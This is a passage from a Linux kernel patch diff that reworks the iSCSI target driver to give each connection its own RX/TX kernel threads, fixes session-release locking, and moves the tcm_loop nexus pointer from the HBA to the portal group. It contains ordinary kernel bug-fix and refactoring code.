iscsi_cmd *cmd, int state) switch (state) { case ISTATE_SEND_LOGOUTRSP: if (!iscsit_logout_post_handler(cmd, conn)) - goto restart; + return -ECONNRESET; /* fall through */ case ISTATE_SEND_STATUS: case ISTATE_SEND_ASYNCMSG: @@ -3820,8 +3813,6 @@ iscsit_response_queue(struct iscsi_conn *conn, struct iscsi_cmd *cmd, int state) err: return -1; -restart: - return -EAGAIN; } static int iscsit_handle_response_queue(struct iscsi_conn *conn) @@ -3848,21 +3839,13 @@ static int iscsit_handle_response_queue(struct iscsi_conn *conn) int iscsi_target_tx_thread(void *arg) { int ret = 0; - struct iscsi_conn *conn; - struct iscsi_thread_set *ts = arg; + struct iscsi_conn *conn = arg; /* * Allow ourselves to be interrupted by SIGINT so that a * connection recovery / failure event can be triggered externally. */ allow_signal(SIGINT); -restart: - conn = iscsi_tx_thread_pre_handler(ts); - if (!conn) - goto out; - - ret = 0; - while (!kthread_should_stop()) { /* * Ensure that both TX and RX per connection kthreads @@ -3871,11 +3854,9 @@ int iscsi_target_tx_thread(void *arg) iscsit_thread_check_cpumask(conn, current, 1); wait_event_interruptible(conn->queues_wq, - !iscsit_conn_all_queues_empty(conn) || - ts->status == ISCSI_THREAD_SET_RESET); + !iscsit_conn_all_queues_empty(conn)); - if ((ts->status == ISCSI_THREAD_SET_RESET) || - signal_pending(current)) + if (signal_pending(current)) goto transport_err; get_immediate: @@ -3886,15 +3867,20 @@ int iscsi_target_tx_thread(void *arg) ret = iscsit_handle_response_queue(conn); if (ret == 1) goto get_immediate; - else if (ret == -EAGAIN) - goto restart; + else if (ret == -ECONNRESET) + goto out; else if (ret < 0) goto transport_err; } transport_err: - iscsit_take_action_for_connection_exit(conn); - goto restart; + /* + * Avoid the normal connection failure code-path if this connection + * is still within LOGIN mode, and iscsi_np process context is + * responsible for cleaning up the early connection failure. + */ + if (conn->conn_state != TARG_CONN_STATE_IN_LOGIN) + iscsit_take_action_for_connection_exit(conn); out: return 0; } @@ -3974,35 +3960,46 @@ static int iscsi_target_rx_opcode(struct iscsi_conn *conn, unsigned char *buf) return iscsit_add_reject(conn, ISCSI_REASON_BOOKMARK_NO_RESOURCES, buf); } +static bool iscsi_target_check_conn_state(struct iscsi_conn *conn) +{ + bool ret; + + spin_lock_bh(&conn->state_lock); + ret = (conn->conn_state != TARG_CONN_STATE_LOGGED_IN); + spin_unlock_bh(&conn->state_lock); + + return ret; +} + int iscsi_target_rx_thread(void *arg) { - int ret; + int ret, rc; u8 buffer[ISCSI_HDR_LEN], opcode; u32 checksum = 0, digest = 0; - struct iscsi_conn *conn = NULL; - struct iscsi_thread_set *ts = arg; + struct iscsi_conn *conn = arg; struct kvec iov; /* * Allow ourselves to be interrupted by SIGINT so that a * connection recovery / failure event can be triggered externally. */ allow_signal(SIGINT); - -restart: - conn = iscsi_rx_thread_pre_handler(ts); - if (!conn) - goto out; + /* + * Wait for iscsi_post_login_handler() to complete before allowing + * incoming iscsi/tcp socket I/O, and/or failing the connection. + */ + rc = wait_for_completion_interruptible(&conn->rx_login_comp); + if (rc < 0 || iscsi_target_check_conn_state(conn)) + return 0; if (conn->conn_transport->transport_type == ISCSI_INFINIBAND) { struct completion comp; - int rc; init_completion(&comp); rc = wait_for_completion_interruptible(&comp); if (rc < 0) goto transport_err; - goto out; + goto transport_err; } while (!kthread_should_stop()) { @@ -4085,8 +4082,6 @@ int iscsi_target_rx_thread(void *arg) if (!signal_pending(current)) atomic_set(&conn->transport_failed, 1); iscsit_take_action_for_connection_exit(conn); - goto restart; -out: return 0; } @@ -4136,13 +4131,36 @@ int iscsit_close_connection( pr_debug("Closing iSCSI connection CID %hu on SID:" " %u\n", conn->cid, sess->sid); /* - * Always up conn_logout_comp just in case the RX Thread is sleeping - * and the logout response never got sent because the connection - * failed. + * Always up conn_logout_comp for the traditional TCP case just in case + * the RX Thread in iscsi_target_rx_opcode() is sleeping and the logout + * response never got sent because the connection failed. + * + * However for iser-target, isert_wait4logout() is using conn_logout_comp + * to signal logout response TX interrupt completion. Go ahead and skip + * this for iser since isert_rx_opcode() does not wait on logout failure, + * and to avoid iscsi_conn pointer dereference in iser-target code. */ - complete(&conn->conn_logout_comp); + if (conn->conn_transport->transport_type == ISCSI_TCP) + complete(&conn->conn_logout_comp); + + if (!strcmp(current->comm, ISCSI_RX_THREAD_NAME)) { + if (conn->tx_thread && + cmpxchg(&conn->tx_thread_active, true, false)) { + send_sig(SIGINT, conn->tx_thread, 1); + kthread_stop(conn->tx_thread); + } + } else if (!strcmp(current->comm, ISCSI_TX_THREAD_NAME)) { + if (conn->rx_thread && + cmpxchg(&conn->rx_thread_active, true, false)) { + send_sig(SIGINT, conn->rx_thread, 1); + kthread_stop(conn->rx_thread); + } + } - iscsi_release_thread_set(conn); + spin_lock(&iscsit_global->ts_bitmap_lock); + bitmap_release_region(iscsit_global->ts_bitmap, conn->bitmap_id, + get_order(1)); + spin_unlock(&iscsit_global->ts_bitmap_lock); iscsit_stop_timers_for_cmds(conn); iscsit_stop_nopin_response_timer(conn); @@ -4421,15 +4439,24 @@ static void iscsit_logout_post_handler_closesession( struct iscsi_conn *conn) { struct iscsi_session *sess = conn->sess; - - iscsi_set_thread_clear(conn, ISCSI_CLEAR_TX_THREAD); - iscsi_set_thread_set_signal(conn, ISCSI_SIGNAL_TX_THREAD); + int sleep = 1; + /* + * Traditional iscsi/tcp will invoke this logic from TX thread + * context during session logout, so clear tx_thread_active and + * sleep if iscsit_close_connection() has not already occured. + * + * Since iser-target invokes this logic from it's own workqueue, + * always sleep waiting for RX/TX thread shutdown to complete + * within iscsit_close_connection(). + */ + if (conn->conn_transport->transport_type == ISCSI_TCP) + sleep = cmpxchg(&conn->tx_thread_active, true, false); atomic_set(&conn->conn_logout_remove, 0); complete(&conn->conn_logout_comp); iscsit_dec_conn_usage_count(conn); - iscsit_stop_session(sess, 1, 1); + iscsit_stop_session(sess, sleep, sleep); iscsit_dec_session_usage_count(sess); target_put_session(sess->se_sess); } @@ -4437,13 +4464,15 @@ static void iscsit_logout_post_handler_closesession( static void iscsit_logout_post_handler_samecid( struct iscsi_conn *conn) { - iscsi_set_thread_clear(conn, ISCSI_CLEAR_TX_THREAD); - iscsi_set_thread_set_signal(conn, ISCSI_SIGNAL_TX_THREAD); + int sleep = 1; + + if (conn->conn_transport->transport_type == ISCSI_TCP) + sleep = cmpxchg(&conn->tx_thread_active, true, false); atomic_set(&conn->conn_logout_remove, 0); complete(&conn->conn_logout_comp); - iscsit_cause_connection_reinstatement(conn, 1); + iscsit_cause_connection_reinstatement(conn, sleep); iscsit_dec_conn_usage_count(conn); } @@ -4453,6 +4482,7 @@ static void iscsit_logout_post_handler_diffcid( { struct iscsi_conn *l_conn; struct iscsi_session *sess = conn->sess; + bool conn_found = false; if (!sess) return; @@ -4461,12 +4491,13 @@ static void iscsit_logout_post_handler_diffcid( list_for_each_entry(l_conn, &sess->sess_conn_list, conn_list) { if (l_conn->cid == cid) { iscsit_inc_conn_usage_count(l_conn); + conn_found = true; break; } } spin_unlock_bh(&sess->conn_lock); - if (!l_conn) + if (!conn_found) return; if (l_conn->sock) @@ -4655,6 +4686,7 @@ int iscsit_release_sessions_for_tpg(struct iscsi_portal_group *tpg, int force) struct iscsi_session *sess; struct se_portal_group *se_tpg = &tpg->tpg_se_tpg; struct se_session *se_sess, *se_sess_tmp; + LIST_HEAD(free_list); int session_count = 0; spin_lock_bh(&se_tpg->session_lock); @@ -4676,14 +4708,17 @@ int iscsit_release_sessions_for_tpg(struct iscsi_portal_group *tpg, int force) } atomic_set(&sess->session_reinstatement, 1); spin_unlock(&sess->conn_lock); - spin_unlock_bh(&se_tpg->session_lock); - iscsit_free_session(sess); - spin_lock_bh(&se_tpg->session_lock); + list_move_tail(&se_sess->sess_list, &free_list); + } + spin_unlock_bh(&se_tpg->session_lock); + + list_for_each_entry_safe(se_sess, se_sess_tmp, &free_list, sess_list) { + sess = (struct iscsi_session *)se_sess->fabric_sess_ptr; + iscsit_free_session(sess); session_count++; } - spin_unlock_bh(&se_tpg->session_lock); pr_debug("Released %d iSCSI Session(s) from Target Portal" " Group: %hu\n", session_count, tpg->tpgt); diff --git a/drivers/target/iscsi/iscsi_target_configfs.c b/drivers/target/iscsi/iscsi_target_configfs.c index c45b3365d63dd..200d779d0c03a 100644 --- a/drivers/target/iscsi/iscsi_target_configfs.c +++ b/drivers/target/iscsi/iscsi_target_configfs.c @@ -1730,7 +1730,8 @@ static void lio_tpg_release_fabric_acl( } /* - * Called with spin_lock_bh(struct se_portal_group->session_lock) held.. + * Called with spin_lock_irq(struct se_portal_group->session_lock) held + * or not held. * * Also, this function calls iscsit_inc_session_usage_count() on the * struct iscsi_session in question. @@ -1738,19 +1739,32 @@ static void lio_tpg_release_fabric_acl( static int lio_tpg_shutdown_session(struct se_session *se_sess) { struct iscsi_session *sess = se_sess->fabric_sess_ptr; + struct se_portal_group *se_tpg = se_sess->se_tpg; + bool local_lock = false; + + if (!spin_is_locked(&se_tpg->session_lock)) { + spin_lock_irq(&se_tpg->session_lock); + local_lock = true; + } spin_lock(&sess->conn_lock); if (atomic_read(&sess->session_fall_back_to_erl0) || atomic_read(&sess->session_logout) || (sess->time2retain_timer_flags & ISCSI_TF_EXPIRED)) { spin_unlock(&sess->conn_lock); + if (local_lock) + spin_unlock_irq(&sess->conn_lock); return 0; } atomic_set(&sess->session_reinstatement, 1); spin_unlock(&sess->conn_lock); iscsit_stop_time2retain_timer(sess); + spin_unlock_irq(&se_tpg->session_lock); + iscsit_stop_session(sess, 1, 1); + if (!local_lock) + spin_lock_irq(&se_tpg->session_lock); return 1; } diff --git a/drivers/target/iscsi/iscsi_target_core.h b/drivers/target/iscsi/iscsi_target_core.h index e117870eb445f..bf93e1c1ff978 100644 --- a/drivers/target/iscsi/iscsi_target_core.h +++ b/drivers/target/iscsi/iscsi_target_core.h @@ -586,6 +586,12 @@ struct iscsi_conn { struct iscsi_session *sess; /* Pointer to thread_set in use for this conn's threads */ struct iscsi_thread_set *thread_set; + int bitmap_id; + int rx_thread_active; + struct task_struct *rx_thread; + struct completion rx_login_comp; + int tx_thread_active; + struct task_struct *tx_thread; /* list_head for session connection list */ struct list_head conn_list; } ____cacheline_aligned; @@ -862,10 +868,12 @@ struct iscsit_global { /* Unique identifier used for the authentication daemon */ u32 auth_id; u32 inactive_ts; +#define ISCSIT_BITMAP_BITS 262144 /* Thread Set bitmap count */ int ts_bitmap_count; /* Thread Set bitmap pointer */ unsigned long *ts_bitmap; + spinlock_t ts_bitmap_lock; /* Used for iSCSI discovery session authentication */ struct iscsi_node_acl discovery_acl; struct iscsi_portal_group *discovery_tpg; diff --git a/drivers/target/iscsi/iscsi_target_erl0.c b/drivers/target/iscsi/iscsi_target_erl0.c index 08bd87833321c..fab67eea54c0d 100644 --- a/drivers/target/iscsi/iscsi_target_erl0.c +++ b/drivers/target/iscsi/iscsi_target_erl0.c @@ -866,7 +866,10 @@ void iscsit_connection_reinstatement_rcfr(struct iscsi_conn *conn) } spin_unlock_bh(&conn->state_lock); - iscsi_thread_set_force_reinstatement(conn); + if (conn->tx_thread && conn->tx_thread_active) + send_sig(SIGINT, conn->tx_thread, 1); + if (conn->rx_thread && conn->rx_thread_active) + send_sig(SIGINT, conn->rx_thread, 1); sleep: wait_for_completion(&conn->conn_wait_rcfr_comp); @@ -891,10 +894,10 @@ void iscsit_cause_connection_reinstatement(struct iscsi_conn *conn, int sleep) return; } - if (iscsi_thread_set_force_reinstatement(conn) < 0) { - spin_unlock_bh(&conn->state_lock); - return; - } + if (conn->tx_thread && conn->tx_thread_active) + send_sig(SIGINT, conn->tx_thread, 1); + if (conn->rx_thread && conn->rx_thread_active) + send_sig(SIGINT, conn->rx_thread, 1); atomic_set(&conn->connection_reinstatement, 1); if (!sleep) { diff --git a/drivers/target/iscsi/iscsi_target_login.c b/drivers/target/iscsi/iscsi_target_login.c index e14e105acff8f..2c4db62e327ef 100644 --- a/drivers/target/iscsi/iscsi_target_login.c +++ b/drivers/target/iscsi/iscsi_target_login.c @@ -84,6 +84,7 @@ static struct iscsi_login *iscsi_login_init_conn(struct iscsi_conn *conn) init_completion(&conn->conn_logout_comp); init_completion(&conn->rx_half_close_comp); init_completion(&conn->tx_half_close_comp); + init_completion(&conn->rx_login_comp); spin_lock_init(&conn->cmd_lock); spin_lock_init(&conn->conn_usage_lock); spin_lock_init(&conn->immed_queue_lock); @@ -683,7 +684,53 @@ static void iscsi_post_login_start_timers(struct iscsi_conn *conn) iscsit_start_nopin_timer(conn); } -static int iscsi_post_login_handler( +int iscsit_start_kthreads(struct iscsi_conn *conn) +{ + int ret = 0; + + spin_lock(&iscsit_global->ts_bitmap_lock); + conn->bitmap_id = bitmap_find_free_region(iscsit_global->ts_bitmap, + ISCSIT_BITMAP_BITS, get_order(1)); + spin_unlock(&iscsit_global->ts_bitmap_lock); + + if (conn->bitmap_id < 0) { + pr_err("bitmap_find_free_region() failed for" + " iscsit_start_kthreads()\n"); + return -ENOMEM; + } + + conn->tx_thread = kthread_run(iscsi_target_tx_thread, conn, + "%s", ISCSI_TX_THREAD_NAME); + if (IS_ERR(conn->tx_thread)) { + pr_err("Unable to start iscsi_target_tx_thread\n"); + ret = PTR_ERR(conn->tx_thread); + goto out_bitmap; + } + conn->tx_thread_active = true; + + conn->rx_thread = kthread_run(iscsi_target_rx_thread, conn, + "%s", ISCSI_RX_THREAD_NAME); + if (IS_ERR(conn->rx_thread)) { + pr_err("Unable to start iscsi_target_rx_thread\n"); + ret = PTR_ERR(conn->rx_thread); + goto out_tx; + } + conn->rx_thread_active = true; + + return 0; +out_tx: + send_sig(SIGINT, conn->tx_thread, 1); + kthread_stop(conn->tx_thread); + conn->tx_thread_active = false; +out_bitmap: + spin_lock(&iscsit_global->ts_bitmap_lock); + bitmap_release_region(iscsit_global->ts_bitmap, conn->bitmap_id, + get_order(1)); + spin_unlock(&iscsit_global->ts_bitmap_lock); + return ret; +} + +void iscsi_post_login_handler( struct iscsi_np *np, struct iscsi_conn *conn, u8 zero_tsih) @@ -693,7 +740,6 @@ static int iscsi_post_login_handler( struct se_session *se_sess = sess->se_sess; struct iscsi_portal_group *tpg = ISCSI_TPG_S(sess); struct se_portal_group *se_tpg = &tpg->tpg_se_tpg; - struct iscsi_thread_set *ts; iscsit_inc_conn_usage_count(conn); @@ -708,7 +754,6 @@ static int iscsi_post_login_handler( /* * SCSI Initiator -> SCSI Target Port Mapping */ - ts = iscsi_get_thread_set(); if (!zero_tsih) { iscsi_set_session_parameters(sess->sess_ops, conn->param_list, 0); @@ -736,8 +781,6 @@ static int iscsi_post_login_handler( spin_unlock_bh(&sess->conn_lock); iscsi_post_login_start_timers(conn); - - iscsi_activate_thread_set(conn, ts); /* * Determine CPU mask to ensure connection's RX and TX kthreads * are scheduled on the same CPU. @@ -745,15 +788,20 @@ static int iscsi_post_login_handler( iscsit_thread_get_cpumask(conn); conn->conn_rx_reset_cpumask = 1; conn->conn_tx_reset_cpumask = 1; - + /* + * Wakeup the sleeping iscsi_target_rx_thread() now that + * iscsi_conn is in TARG_CONN_STATE_LOGGED_IN state. + */ + complete(&conn->rx_login_comp); iscsit_dec_conn_usage_count(conn); + if (stop_timer) { spin_lock_bh(&se_tpg->session_lock); iscsit_stop_time2retain_timer(sess); spin_unlock_bh(&se_tpg->session_lock); } iscsit_dec_session_usage_count(sess); - return 0; + return; } iscsi_set_session_parameters(sess->sess_ops, conn->param_list, 1); @@ -795,7 +843,6 @@ static int iscsi_post_login_handler( spin_unlock_bh(&se_tpg->session_lock); iscsi_post_login_start_timers(conn); - iscsi_activate_thread_set(conn, ts); /* * Determine CPU mask to ensure connection's RX and TX kthreads * are scheduled on the same CPU. @@ -803,10 +850,12 @@ static int iscsi_post_login_handler( iscsit_thread_get_cpumask(conn); conn->conn_rx_reset_cpumask = 1; conn->conn_tx_reset_cpumask = 1; - + /* + * Wakeup the sleeping iscsi_target_rx_thread() now that + * iscsi_conn is in TARG_CONN_STATE_LOGGED_IN state. + */ + complete(&conn->rx_login_comp); iscsit_dec_conn_usage_count(conn); - - return 0; } static void iscsi_handle_login_thread_timeout(unsigned long data) @@ -1282,20 +1331,9 @@ static int __iscsi_target_login_thread(struct iscsi_np *np) if (iscsi_target_start_negotiation(login, conn) < 0) goto new_sess_out; - if (!conn->sess) { - pr_err("struct iscsi_conn session pointer is NULL!\n"); - goto new_sess_out; - } - iscsi_stop_login_thread_timer(np); - if (signal_pending(current)) - goto new_sess_out; - - ret = iscsi_post_login_handler(np, conn, zero_tsih); - - if (ret < 0) - goto new_sess_out; + iscsi_post_login_handler(np, conn, zero_tsih); iscsit_deaccess_np(np, tpg); tpg = NULL; @@ -1360,6 +1398,9 @@ static int __iscsi_target_login_thread(struct iscsi_np *np) conn->sock = NULL; } + if (conn->conn_transport->iscsit_wait_conn) + conn->conn_transport->iscsit_wait_conn(conn); + if (conn->conn_transport->iscsit_free_conn) conn->conn_transport->iscsit_free_conn(conn); diff --git a/drivers/target/iscsi/iscsi_target_login.h b/drivers/target/iscsi/iscsi_target_login.h index 63efd28784517..6d7eb66de94b2 100644 --- a/drivers/target/iscsi/iscsi_target_login.h +++ b/drivers/target/iscsi/iscsi_target_login.h @@ -12,6 +12,7 @@ extern int iscsit_accept_np(struct iscsi_np *, struct iscsi_conn *); extern int iscsit_get_login_rx(struct iscsi_conn *, struct iscsi_login *); extern int iscsit_put_login_tx(struct iscsi_conn *, struct iscsi_login *, u32); extern void iscsit_free_conn(struct iscsi_np *, struct iscsi_conn *); +extern int iscsit_start_kthreads(struct iscsi_conn *); extern int iscsi_target_login_thread(void *); extern int iscsi_login_disable_FIM_keys(struct iscsi_param_list *, struct iscsi_conn *); diff --git a/drivers/target/iscsi/iscsi_target_nego.c b/drivers/target/iscsi/iscsi_target_nego.c index 72d9dec991c0b..2a61a01142e93 100644 --- a/drivers/target/iscsi/iscsi_target_nego.c +++ b/drivers/target/iscsi/iscsi_target_nego.c @@ -19,6 +19,7 @@ ******************************************************************************/ #include +#include #include #include #include @@ -352,10 +353,24 @@ static int iscsi_target_do_tx_login_io(struct iscsi_conn *conn, struct iscsi_log ntohl(login_rsp->statsn), login->rsp_length); padding = ((-login->rsp_length) & 3); + /* + * Before sending the last login response containing the transition + * bit for full-feature-phase, go ahead and start up TX/RX threads + * now to avoid potential resource allocation failures after the + * final login response has been sent. + */ + if (login->login_complete) { + int rc = iscsit_start_kthreads(conn); + if (rc) { + iscsit_tx_login_rsp(conn, ISCSI_STATUS_CLS_TARGET_ERR, + ISCSI_LOGIN_STATUS_NO_RESOURCES); + return -1; + } + } if (conn->conn_transport->iscsit_put_login_tx(conn, login, login->rsp_length + padding) < 0) - return -1; + goto err; login->rsp_length = 0; mutex_lock(&sess->cmdsn_mutex); @@ -364,6 +379,24 @@ static int iscsi_target_do_tx_login_io(struct iscsi_conn *conn, struct iscsi_log mutex_unlock(&sess->cmdsn_mutex); return 0; + +err: + if (login->login_complete) { + if (conn->rx_thread && conn->rx_thread_active) { + send_sig(SIGINT, conn->rx_thread, 1); + complete(&conn->rx_login_comp); + kthread_stop(conn->rx_thread); + } + if (conn->tx_thread && conn->tx_thread_active) { + send_sig(SIGINT, conn->tx_thread, 1); + kthread_stop(conn->tx_thread); + } + spin_lock(&iscsit_global->ts_bitmap_lock); + bitmap_release_region(iscsit_global->ts_bitmap, conn->bitmap_id, + get_order(1)); + spin_unlock(&iscsit_global->ts_bitmap_lock); + } + return -1; } static int iscsi_target_do_login_io(struct iscsi_conn *conn, struct iscsi_login *login) diff --git a/drivers/target/iscsi/iscsi_target_parameters.c b/drivers/target/iscsi/iscsi_target_parameters.c index e38222191a33b..30be6c9bdbc6b 100644 --- a/drivers/target/iscsi/iscsi_target_parameters.c +++ b/drivers/target/iscsi/iscsi_target_parameters.c @@ -603,7 +603,7 @@ int iscsi_copy_param_list( param_list = kzalloc(sizeof(struct iscsi_param_list), GFP_KERNEL); if (!param_list) { pr_err("Unable to allocate memory for struct iscsi_param_list.\n"); - goto err_out; + return -1; } INIT_LIST_HEAD(¶m_list->param_list); INIT_LIST_HEAD(¶m_list->extra_response_list); diff --git a/drivers/target/iscsi/iscsi_target_tq.c b/drivers/target/iscsi/iscsi_target_tq.c index 81289520f96b3..bd53364b75e87 100644 --- a/drivers/target/iscsi/iscsi_target_tq.c +++ b/drivers/target/iscsi/iscsi_target_tq.c @@ -26,36 +26,22 @@ #include "iscsi_target_tq.h" #include "iscsi_target.h" -static LIST_HEAD(active_ts_list); static LIST_HEAD(inactive_ts_list); -static DEFINE_SPINLOCK(active_ts_lock); static DEFINE_SPINLOCK(inactive_ts_lock); static DEFINE_SPINLOCK(ts_bitmap_lock); -static void iscsi_add_ts_to_active_list(struct iscsi_thread_set *ts) -{ - spin_lock(&active_ts_lock); - list_add_tail(&ts->ts_list, &active_ts_list); - iscsit_global->active_ts++; - spin_unlock(&active_ts_lock); -} - static void iscsi_add_ts_to_inactive_list(struct iscsi_thread_set *ts) { + if (!list_empty(&ts->ts_list)) { + WARN_ON(1); + return; + } spin_lock(&inactive_ts_lock); list_add_tail(&ts->ts_list, &inactive_ts_list); iscsit_global->inactive_ts++; spin_unlock(&inactive_ts_lock); } -static void iscsi_del_ts_from_active_list(struct iscsi_thread_set *ts) -{ - spin_lock(&active_ts_lock); - list_del(&ts->ts_list); - iscsit_global->active_ts--; - spin_unlock(&active_ts_lock); -} - static struct iscsi_thread_set *iscsi_get_ts_from_inactive_list(void) { struct iscsi_thread_set *ts; @@ -68,7 +54,7 @@ static struct iscsi_thread_set *iscsi_get_ts_from_inactive_list(void) ts = list_first_entry(&inactive_ts_list, struct iscsi_thread_set, ts_list); - list_del(&ts->ts_list); + list_del_init(&ts->ts_list); iscsit_global->inactive_ts--; spin_unlock(&inactive_ts_lock); @@ -219,8 +205,6 @@ static void iscsi_deallocate_extra_thread_sets(void) void iscsi_activate_thread_set(struct iscsi_conn *conn, struct iscsi_thread_set *ts) { - iscsi_add_ts_to_active_list(ts); - spin_lock_bh(&ts->ts_state_lock); conn->thread_set = ts; ts->conn = conn; @@ -423,7 +407,6 @@ struct iscsi_conn *iscsi_rx_thread_pre_handler(struct iscsi_thread_set *ts) if (ts->delay_inactive && (--ts->thread_count == 0)) { spin_unlock_bh(&ts->ts_state_lock); - iscsi_del_ts_from_active_list(ts); if (!iscsit_global->in_shutdown) iscsi_deallocate_extra_thread_sets(); @@ -476,7 +459,6 @@ struct iscsi_conn *iscsi_tx_thread_pre_handler(struct iscsi_thread_set *ts) if (ts->delay_inactive && (--ts->thread_count == 0)) { spin_unlock_bh(&ts->ts_state_lock); - iscsi_del_ts_from_active_list(ts); if (!iscsit_global->in_shutdown) iscsi_deallocate_extra_thread_sets(); diff --git a/drivers/target/iscsi/iscsi_target_util.c b/drivers/target/iscsi/iscsi_target_util.c index c9790f6fdd890..016e882356d66 100644 --- a/drivers/target/iscsi/iscsi_target_util.c +++ b/drivers/target/iscsi/iscsi_target_util.c @@ -1349,15 +1349,15 @@ static int iscsit_do_tx_data( struct iscsi_conn *conn, struct iscsi_data_count *count) { - int data = count->data_length, total_tx = 0, tx_loop = 0, iov_len; + int ret, iov_len; struct kvec *iov_p; struct msghdr msg; if (!conn || !conn->sock || !conn->conn_ops) return -1; - if (data <= 0) { - pr_err("Data length is: %d\n", data); + if (count->data_length <= 0) { + pr_err("Data length is: %d\n", count->data_length); return -1; } @@ -1366,20 +1366,16 @@ static int iscsit_do_tx_data( iov_p = count->iov; iov_len = count->iov_count; - while (total_tx < data) { - tx_loop = kernel_sendmsg(conn->sock, &msg, iov_p, iov_len, - (data - total_tx)); - if (tx_loop <= 0) { - pr_debug("tx_loop: %d total_tx %d\n", - tx_loop, total_tx); - return tx_loop; - } - total_tx += tx_loop; - pr_debug("tx_loop: %d, total_tx: %d, data: %d\n", - tx_loop, total_tx, data); + ret = kernel_sendmsg(conn->sock, &msg, iov_p, iov_len, + count->data_length); + if (ret != count->data_length) { + pr_err("Unexpected ret: %d send data %d\n", + ret, count->data_length); + return -EPIPE; } + pr_debug("ret: %d, sent data: %d\n", ret, count->data_length); - return total_tx; + return ret; } int rx_data( diff --git a/drivers/target/loopback/tcm_loop.c b/drivers/target/loopback/tcm_loop.c index 61b9600e54ee3..ade3c8d1ca75a 100644 --- a/drivers/target/loopback/tcm_loop.c +++ b/drivers/target/loopback/tcm_loop.c @@ -179,7 +179,7 @@ static void tcm_loop_submission_work(struct work_struct *work) goto out_done; } - tl_nexus = tl_hba->tl_nexus; + tl_nexus = tl_tpg->tl_nexus; if (!tl_nexus) { scmd_printk(KERN_ERR, sc, "TCM_Loop I_T Nexus" " does not exist\n"); @@ -257,21 +257,21 @@ static int tcm_loop_device_reset(struct scsi_cmnd *sc) * Locate the tcm_loop_hba_t pointer */ tl_hba = *(struct tcm_loop_hba **)shost_priv(sc->device->host); + /* + * Locate the tl_tpg and se_tpg pointers from TargetID in sc->device->id + */ + tl_tpg = &tl_hba->tl_hba_tpgs[sc->device->id]; + se_tpg = &tl_tpg->tl_se_tpg; /* * Locate the tl_nexus and se_sess pointers */ - tl_nexus = tl_hba->tl_nexus; + tl_nexus = tl_tpg->tl_nexus; if (!tl_nexus) { pr_err("Unable to perform device reset without" " active I_T Nexus\n"); return FAILED; } se_sess = tl_nexus->se_sess; - /* - * Locate the tl_tpg and se_tpg pointers from TargetID in sc->device->id - */ - tl_tpg = &tl_hba->tl_hba_tpgs[sc->device->id]; - se_tpg = &tl_tpg->tl_se_tpg; tl_cmd = kmem_cache_zalloc(tcm_loop_cmd_cache, GFP_KERNEL); if (!tl_cmd) { @@ -879,8 +879,8 @@ static int tcm_loop_make_nexus( struct tcm_loop_nexus *tl_nexus; int ret = -ENOMEM; - if (tl_tpg->tl_hba->tl_nexus) { - pr_debug("tl_tpg->tl_hba->tl_nexus already exists\n"); + if (tl_tpg->tl_nexus) { + pr_debug("tl_tpg->tl_nexus already exists\n"); return -EEXIST; } se_tpg = &tl_tpg->tl_se_tpg; @@ -915,7 +915,7 @@ static int tcm_loop_make_nexus( */ __transport_register_session(se_tpg, tl_nexus->se_sess->se_node_acl, tl_nexus->se_sess, tl_nexus); - tl_tpg->tl_hba->tl_nexus = tl_nexus; + tl_tpg->tl_nexus = tl_nexus; pr_debug("TCM_Loop_ConfigFS: Established I_T Nexus to emulated" " %s Initiator Port: %s\n", tcm_loop_dump_proto_id(tl_hba), name); @@ -931,9 +931,8 @@ static int tcm_loop_drop_nexus( { struct se_session *se_sess; struct tcm_loop_nexus *tl_nexus; - struct tcm_loop_hba *tl_hba = tpg->tl_hba; - tl_nexus = tpg->tl_hba->tl_nexus; + tl_nexus = tpg->tl_nexus; if (!tl_nexus) return -ENODEV; @@ -949,13 +948,13 @@ static int tcm_loop_drop_nexus( } pr_debug("TCM_Loop_ConfigFS: Removing I_T Nexus to emulated" - " %s Initiator Port: %s\n", tcm_loop_dump_proto_id(tl_hba), + " %s Initiator Port: %s\n", tcm_loop_dump_proto_id(tpg->tl_hba), tl_nexus->se_sess->se_node_acl->initiatorname); /* * Release the SCSI I_T Nexus to the emulated SAS Target Port */ transport_deregister_session(tl_nexus->se_sess); - tpg->tl_hba->tl_nexus = NULL; + tpg->tl_nexus = NULL; kfree(tl_nexus); return 0; } @@ -971,7 +970,7 @@ static ssize_t tcm_loop_tpg_show_nexus( struct tcm_loop_nexus *tl_nexus; ssize_t ret; - tl_nexus = tl_tpg->tl_hba->tl_nexus; + tl_nexus = tl_tpg->tl_nexus; if (!tl_nexus) return -ENODEV; diff --git a/drivers/target/loopback/tcm_loop.h b/drivers/target/loopback/tcm_loop.h index dd7a84ee78e11..4ed85886a1ee8 100644 --- a/drivers/target/loopback/tcm_loop.h +++ b/drivers/target/loopback/tcm_loop.h @@ -25,11 +25,6 @@ struct tcm_loop_tmr { }; struct tcm_loop_nexus { - int it_nexus_active; - /* - * Pointer to Linux/SCSI HBA from linux/include/scsi_host.h - */ - struct scsi_host *sh; /* * Pointer to TCM session for I_T Nexus */ @@ -45,6 +40,7 @@ struct tcm_loop_tpg { atomic_t tl_tpg_port_count; struct se_portal_group tl_se_tpg; struct tcm_loop_hba *tl_hba; + struct tcm_loop_nexus *tl_nexus; }; struct tcm_loop_hba { @@ -53,7 +49,6 @@ struct tcm_loop_hba { struct se_hba_s *se_hba; struct se_lun *tl_hba_lun; struct se_port *tl_hba_lun_sep; - struct tcm_loop_nexus *tl_nexus; struct device dev; struct Scsi_Host *sh; struct tcm_loop_tpg tl_hba_tpgs[TL_TPGS_PER_HBA]; diff --git a/drivers/target/target_core_device.c b/drivers/target/target_core_device.c index 351163a0fcc0d..76535874af061 100644 --- a/drivers/target/target_core_device.c +++ b/drivers/target/target_core_device.c @@ -1037,10 +1037,10 @@ int se_dev_set_optimal_sectors(struct se_device *dev, u32 optimal_sectors) " changed for TCM/pSCSI\n", dev); return -EINVAL; } - if (optimal_sectors > dev->dev_attrib.fabric_max_sectors) { + if (optimal_sectors > dev->dev_attrib.hw_max_sectors) { pr_err("dev[%p]: Passed optimal_sectors %u cannot be" - " greater than fabric_max_sectors: %u\n", dev, - optimal_sectors, dev->dev_attrib.fabric_max_sectors); + " greater than hw_max_sectors: %u\n", dev, + optimal_sectors, dev->dev_attrib.hw_max_sectors); return -EINVAL; } @@ -1293,7 +1293,8 @@ int core_dev_add_initiator_node_lun_acl( * Check to see if there are any existing persistent reservation APTPL * pre-registrations that need to be enabled for this LUN ACL.. */ - core_scsi3_check_aptpl_registration(lun->lun_se_dev, tpg, lun, lacl); + core_scsi3_check_aptpl_registration(lun->lun_se_dev, tpg, lun, nacl, + lacl->mapped_lun); return 0; } @@ -1441,7 